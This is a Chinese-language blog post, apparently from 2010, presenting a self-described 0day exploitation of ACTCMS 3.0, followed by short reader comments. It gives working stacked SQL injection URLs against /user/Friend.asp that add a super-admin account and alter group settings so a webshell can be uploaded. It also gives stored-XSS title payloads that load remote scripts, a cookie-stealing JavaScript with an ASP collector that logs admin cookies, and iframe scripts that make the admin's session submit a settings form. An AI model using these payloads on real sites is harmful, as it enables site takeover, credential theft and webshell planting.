记对ACTCMS系统漏洞挖掘之旅

      前两天在群闲聊的时候听群友有说遇到了个ACTCMS的系统,大家并在对ACTCMS多扯了几句,当时闲着无事便在网上搜索了下ACTCMS的漏洞信息。搜索结果针对之前版本的到是爆有注入漏洞,但对最新的3.0版貌似没有,于是就顺便去官网down了一个3.0的版本下来,抱着学习的目的对系统开始了漏洞的挖掘。

      拿到程序本地搭建好后第一件事就是上后台寻找拿shell的办法,然后再看前台的注入。系统后台登陆验证的地方做的还不错,借鉴动易的方式加了个认证码,而且其认证码和认证码的开关都是直接写在配置文件当中的。这个估计是在之前版本爆了注入和后台cookie欺骗登陆漏洞和作者才加上的。

      不过在后台管理系统中存在一些的弱点,主要针对取得webshell的方法,简略看了下后台系统的功能,发现取得webshell不是什么难事儿,而且方法还不止一种,我就随便测试了最简单的一种方法,在系统配置当中加上asp的上传类型,然后直接上传webshell。对于上传类型的设置整个系统当中有两处,一是网站基本设置当中的上传文件类型,这个主要是后台添加文章时候上传用的,另外一个则是用户组权限设置中的文件上传类型,这个是用于前台用户发表文章时候上传图片用的。

      找到后台拿shell的办法后接下来就是看前台程序的注入了,因为针对ASP网站系统漏洞的挖掘首先还是要考虑注入。不过程序作者在变量顾虑还是非常严谨的,读了好长时间的代码我都没找出未过滤的变量,眼看前台动态的程序页都快让我给读完了,不过,就在快要接近尾声的时候让我在某处找到了一个没有过滤的变量,并且直接代入到SQL语句中,我们来看看代码!

sub DelFriend()
        Dim TG_ID:TG_ID =Request("ID")         IF TG_ID = "" Then
            response.Write "请先选定好友"
            response.End
        End IF        
         TG_ID = Split(TG_ID,",")
         For I = LBound(TG_ID) To UBound(TG_ID)
                 Conn.execute("Delete from  Friend_ACT   where U="& UserHS.UserID &"   and  ID = "&TG_ID(i)&"")          Next
        set conn=nothing
        response.Redirect("?")
end sub

      这个函数是在/user/Friend.asp文件中,函数是用于删除好友的,系统有用户互动的功能,会员与会员之间可以互相添加为好友,也可以删除好友。

      从以上代码中可以看出,TG_ID变量值直接使用request获取,并且未做任何过滤就带入到SQL语句中了,这样漏洞变产生了。现在很多有经验的程序员大多数也往往会在删除记录的时候出现类似的问题。

      针对这个漏洞的利用有一定局限性,可能对注入漏洞原理比较清楚的朋友可能会发现,对于ACCESS的数据库来说这个漏洞根本就没什么利用的,因为在漏洞产生的SQL语句中,并不是向数据库查询记录,而是删,页面中也不会输出任何SQL语句得到的内容。并且不管SQL语句是否正确,最终执行后的页面都是重定向到Friend.asp?,也就是说返回的页面都是一样的,这样我们也就不能根据页面情况来判断SQL语句的执行结果。

      不过,若网站是使用MSSQL数据库的话,那这个漏洞就大有用处了,大家都知道在注入中MSSQL能构造的语句比ACCESS的腰强大得多,所以针对这个注入点来说应该是ACTCMS 3.0 SQL版的0day,下面我就以SQL版为例,具体说下利用方式。

      对于SQL版的来说,很多朋友第一个想到的应该就是直接向数据库中添加个管理员账号或者更改管理员密码,不过网站后台系统登录的时候需要个认证码的,而认证码是无法从注入点得到的。所以说就算是有了后台管理账号密码,登录后台的几率也需要看人品。

      向数据库中加管理账号密码也是可以的,不过这里需要注意下,加管理的SQL语句有点特别,因为在代码中对ID值的获取后有一段处理代码:TG_ID = Split(TG_ID,","),他的作用就是将获取到的值以逗号分隔成多个值,然后使用循环一个一个的删除数据库中的相应记录。例如在用户想批量删除他好友的时候,传送过来的只就是1,2,3,4,5,6,然后程序就分别去删除ID为1、2、3、4、5、6的记录,而不是去删除ID等于1,2,3,4,5,6的记录,所这里我们要向数据库中插入记录需要使用一下语句:Friend.asp?A=Del&ID=1;insert into Admin_Act (Admin_Name) values ('enjoyhack');update Admin_Act set PassWord='225cdc811adfe8d4' where Admin_Name='enjoyhack';update Admin_Act set SuperTF=1 where Admin_Name='enjoyhack',插入管理后在后台登陆会报错,不过验证是通过了的,直接访问admin/f.asp页面即可。

      上面说到的是利用注入点加管理账号的方法,但由于管理后台登陆的时候需要提供认证码,而且认证码是直接写在配置文件当中的,我们光利用注入点是无法得到,所以加管理员的方法并不是很实用,这里给大家提供一个更为合适的办法,就是利用注入点更新用户组权限配置数据,添加一个asp文件的上传类型,然后前台用户发布文章直接上传webshell。

      但在更新用户组权限配置的时候需要注意一点,用户组权限当中所有的项目在数据库当中是存放在Group_Act的GroupSetting字段当中,每个项目之间使用^@$@^符号隔开,所以这里我们也不能使用常规的更新方式,例如;update Group set GroupSettiong='xxxxx' where id=3这样的方式是不行的,这样一来不仅不能跟新上传类型,而且还使得整个用户组的权限全部混乱了,这里我们需要先将他原来的全部配置做个备份,然后我们再将配置更新成系统初始值加一个asp上传类型,见一下语句:

Friend.asp?A=Del&ID=1;insert into Log_Act (GetHttp) select GroupSetting from Group_Act where GroupID=3  '备份用户组名为注册用户的设置到后他管理登陆日志当中,这样后台管理登陆日志就多了一条记录。

Friend.asp?A=Del&ID=1;update Group_Act set GroupSetting='0^@$@^注册会员^@$@^0^@$@^0^@$@^100^@$@^1000^@$@^100^@$@^1^@$@^Article/^@$@^1024^@$@^jpg/gif/bmp/png/asp^@$@^1^@$@^1^@$@^Simple^@$@^10^@$@^0^@$@^' where GroupID=3  '更新用户组名为注册用户的设置为系统初始值,并在上传类型中加了个asp文件类型

      这样就可以在发表文章的地方直接上传webshell了,是不是很简单啊!呵呵,看起来确实比较简单的,但是挖掘和构造语句的过程是枯燥的……在拿到webshell后记得到到/Admin/CheckCode.asp文件中找认证码或关闭认证码后到后台日志查看中找到备份的用户组配置信息,然后使用一下语句还原,要不是就给别人留后门了。

Friend.asp?A=Del&ID=1;update Group_Act set GroupSetting='后台日志管理,找到某条特操作者项或动作项为空的记录,点查看得到的备份值' where GroupID=3

      在整个系统当中默认的文章分类是允许注册用户发表投稿文章的,投稿后需要管理员审核才能发布,但在允许投稿用户组的地方默认是0,若是遇到不能发布文章的话就需要更新下某个分类的值,让其允许注册用户发布投稿,默认的注册用户组id值是3,具体语句:;update Class_Act set tg=1 where ClassID='4496645087';update Class_Act set TGGroupID=3 where ClassID='4496645087',4496645087是分类ID号,这个可以在前台查看,鼠标放到某个分类上,右键-属性就可以看到。其实通过这个注入点还可以做其他的事情,包括修改文件上传目录、用户权限等等,这些大家可以下套程序,更具数据库结构自由的发挥。

=================================华丽的分割线=================================

      对于SQL版的0day就说到这里,但对ACTCMS 3.0的漏洞挖掘还未结束,接下来是将ACCESS版和SQL版都存在的一个漏洞,这个漏洞也是我之前所有文章中都未提及的,并且对于这个漏洞我也是略有所闻,但未实践过,这个便是系统中多处出现的XSS跨站漏洞,对于XSS跨站漏洞其他的知识大家可以去网上搜索下,我这里只针对ACTCMS的跨站做讲解,首先还是从代码开始,先看会员发布文章处:

<%
    sub Saveadd()
    dim TGGroupID,NewsID,Save_SQL
         ClassID=ACTCMS.G("ClassID")
        
         Title=Trim(ACTCMS.S("Title"))
        
         Keywords=Trim(ACTCMS.S("Keywords"))
         CopyFrom=Trim(ACTCMS.S("CopyFrom"))
         author=Trim(ACTCMS.S("author"))
         Content=ACTCMS.G("Content")
         PicUrl=ACTCMS.S("PicUrl")
         isAccept=ACTCMS.S("isAccept")

        ………………………………中间省略若干内容

        Set Save_SQL = server.CreateObject("adodb.recordset")
        Save_SQL.Open "Select * from "&ACTCMS.ACT_C(ModeID,2)&" where 1=0",Conn,1,3
        
        Save_SQL.AddNew
        Save_SQL("ClassID") = ClassID
        Save_SQL("Title") = Title '简短标题
        Save_SQL("isAccept") = isAccept
        Save_SQL("TemplateUrl") = ACTCMS.ACT_L(ClassID,5)
        Save_SQL("Content") = Content'内容
        Save_SQL("CopyFrom") = CopyFrom'
        Save_SQL("Keywords") = Keywords'关键字
        Save_SQL("UpdateTime")=now

        ………………………………中间省略若干内容

        Save_SQL.update
%>

      从以上代码中可以看到,包括文章标题在内的其他很多项目的内容都未经过过滤就更新到数据库当中去了,这个便是典型的XSS跨站漏洞了。以上代码中的ACTCMS.G函数其实只想当与request功能,并未做任何特殊字符的过滤。这里标题未经过任何的过滤我们就可以在标题中插入恶意JavaScript了,这里最好是选择标题这里插入,因为对于XSS跨站的利用,我们最起码的是要偷取管理员的cookie,ACTCMS 3.0系统中管理登陆后,账号和密码是会放到cookie中的,所以我们首先考虑到的是偷取管理的cookie。要偷取cookie就需要让管理在登录后台系统的情况下,然后在管理员的IE上执行我们的JavaScript代码。这里选择在标题中插入JavaScript代码的目的就在于注册用户在发布了文章之后默认是没有审核的,需要管理在后台系统中审核才能发布,这样只要管理在后台查看未审核的文章,那么他就会中招了。

      这里我们随便用注册账号发布一篇文章,在标题中插入<script>alert(document.cookie)</script>,然后用管理身份去后台查看未审核的文章,只要页面中列出了刚才发布的文章标题即可获得管理的cookie了,如下图:



      可以看到管理的账号密码都已经得到了,这个只是个测试,我们若需要真正的偷取改怎么办呢?这里我们首先在发布文章的时候在标题处插入一个调用远程js文件的代码:<script src="http://www.enjoyhack/xss/xss.js"></script>,然后我们在xss.js中就可以针对我们想要的结果写相应的JavaScript程序了。最简单的例子,在xss.js中我们将管理的cookie值再次发送到http://www.enjoyhack/xss/cookies.asp,然后由cookies.asp文件接收cookie信息,然后将它保存起来,我们先在xss.js中这样写:
<!--
cookie="http://localhost/xss/cookie.asp?url="+location.href+"&cookies="+document.cookie+"'";
document.write ("<script src='"+cookie+"'></script>")
//-->

      然后我们写我们的cookies.asp文件,让他接收传送过来的cookie和网站地址,并使用fso组件将内容写入到一个txt文件中,代码如下:

<%

url=request("url")
cookie=request("cookies")

    set fso=server.CreateObject("Scripting.FileSystemObject")
    set txtfso=fso.OpenTextFile(server.mappath("enjoyhack.txt"),8,True)
    txtfso.WriteLine("url:"&url)
    txtfso.WriteLine("cookie:"&cookie)
    txtfso.WriteLine("time:"&now())
    txtfso.WriteLine("-------------------------------------------------------------------")
    txtfso.close
    response.end

%>

      这样在和cookie.asp文件同目录下就会产生一个enjoyhack.txt的文件,里面记录的就是管理员的cookie了!

      但是由于ACTCMS后台登陆需要认证码才能登陆,我们偷取cookie也不能得到认证码,所以我后来自己又想了个办法,虽然是可以成功但是还是不是很完美,最终有一个地方未突破。这里我也将就说下这个思路。就是使用JavaScript程序,利用管理的身份,在后台中自动提交修改用户组权限的表单页,在提交前再在上传类型上加一个asp的上传类型。

      我在发表文章的时候,标题的后面写入了调用两个远程js的代码,<script src='http://www.enjoyhack.com/xs.js'></script><script src='http://www.enjoyhack.com/xss.js'></script>,其中xs.js文件的目的是在页面中输入一个iframe框架,用来调用修改用户组的表单页面(/admin/User/Group_Admin.asp?Action=Edit&GroupID=3),代码如下:<!--
document.write("<iframe name='frame' src='/admin/User/Group_Admin.asp?Action=Edit&GroupID=3'></iframe>");
//-->,在调用中我暂时让框架显示出来,以便测试,这样调用了过后在后台管理员查看投稿的文章的时候,就会包含用户组权限修改的表单页了,如下图:



      在输入iframe框架包含了表单页面后,接着就需要使用xss.js的代码,让他修改iframe里面的表单页面中的某项,然后再做一个提交的动作,代码如下:

<!--
var par = window.top ;
par.frame.document.form1.GroupSetting11.value="jpg/gif/bmp/png/asp";
par.frame.document.form1.submit();
//-->

      最先测试我是先将发布文章时候标题哪里插入的代码“<script src='http://www.enjoyhack.com/xs.js'></script><script src='http://www.enjoyhack.com/xss.js'></script>”放到一个单独的文件当中去测试的。这样测试发现始终不成功,然后一点一点的分析发现表单页面中自定义了css样式文件路径<link href="../Images/style.css" rel="stylesheet" type="text/css">代码就不行,去掉这个代码就可以,然后我又把xss.js的内容修改成如下:

<!--
var par = window.top ;
var v=par.frames['frame'].document.getElementsByTagName('link');
alert(v[0].href);
par.frame.document.form1.GroupSetting11.value="jpg/gif/bmp/png/asp";
par.frame.document.form1.submit();
//-->

      这样在单独的文件中测试发现就可以正常提交表单了,但是执行的时候要弹出一个对话框,内容是css文件的路径。然后我接着把跨站代码“<script src='http://www.enjoyhack.com/xs.js'></script><script src='http://www.enjoyhack.com/xss.js'></script>”插入到文章的标题,去后台查看未审核的文章,发现只能执行iframe调用表单页,并不能执行提交表单的动作。

      后来无意直接访问后台列出文章页面http://localhost/admin/ACT_Mode/ACT.Manage.asp?Action=ListisAccept,发现又能正常提交表单了。后来继续测试,把alert(v[0].href);把这个弹出窗口的语句注释掉后,直接访问http://localhost/admin/ACT_Mode/ACT.Manage.asp?Action=ListisAccept依然能提交成功,但是我单独的那个页面却又不能提交了!但是现在在http://localhost/admin/ACT_Mode/ACT.Manage.asp?Action=ListisAccept这个页面中能提交表单已经很不错了,因为最终的目标就是要管理在查看这个页面的时候自动提交,测试的那个页面不成功到没什么关系。但是现在经过我的测试发现后台文章列表的那个页面必须要在单独的窗口中打开才能执行提交,若在管理在后台,常规的打开查看就只能iframe包含表单页,不执行提交表单的动作,这个我现在认为的是可能后台正常操作打开文章列表页的时候文章页同时在一个iframe框架之下,而页面中又引用了框架的原因才不行。

      在后台若是管理员查看文章列表的时候,点击文章标题查预览文章内容的话这样同样也是可以执行表单提交的,因为打开查看文章内容是在一个新窗口中打开的。到这里我一直没有找到解决的办法,这个问题也留给大家有懂JavaScript的朋友们了,要是谁能搞定了别忘记留言和我联系下。

       好了,对ACTCMS 3.0 系统的漏洞挖掘就到这里了,文章中注入的地方有一些小小的技巧,同时我也写第一篇有关XSS漏洞利用的文章,虽然最后的结果并不是很完美,但也是自己学习和研究的成果,留下来的问题希望各有能力的朋友们下来研究下,我觉得xss跨站漏洞利用管理员后台身份去做其他的事情是个很不错的利用思路。ACTCMS 3.0其他地方也有不少的XSS跨站漏洞,包括后台发布文章都是一样的存在,对XSS有兴趣的朋友可以自己down一套研究研究。


文章来自: 本站原创
引用通告: 查看所有引用 | 我要引用此文章
Tags: 注入 0day XSS 跨站
相关日志:
评论: 3 | 引用: 0 | 查看次数: -
回复回复kevin[2010-10-19 09:11 AM | del]
这是什么代码 ?  手机看加密日志很不爽,太多了。。
回复回复日月[2010-10-17 08:49 PM | del]
代码 太头疼了
回复回复冰鱼.[2010-10-17 03:13 AM | del]
很好很强大`你代码太牛B 了 什么时候能赶上你哦`!哎``洗洗睡觉去`
发表评论
昵 称:
密 码: 游客发言不需要密码.
内 容:
验证码: 验证码
选 项:
虽然发表评论不用注册,但是为了保护您的发言权,建议您注册帐号.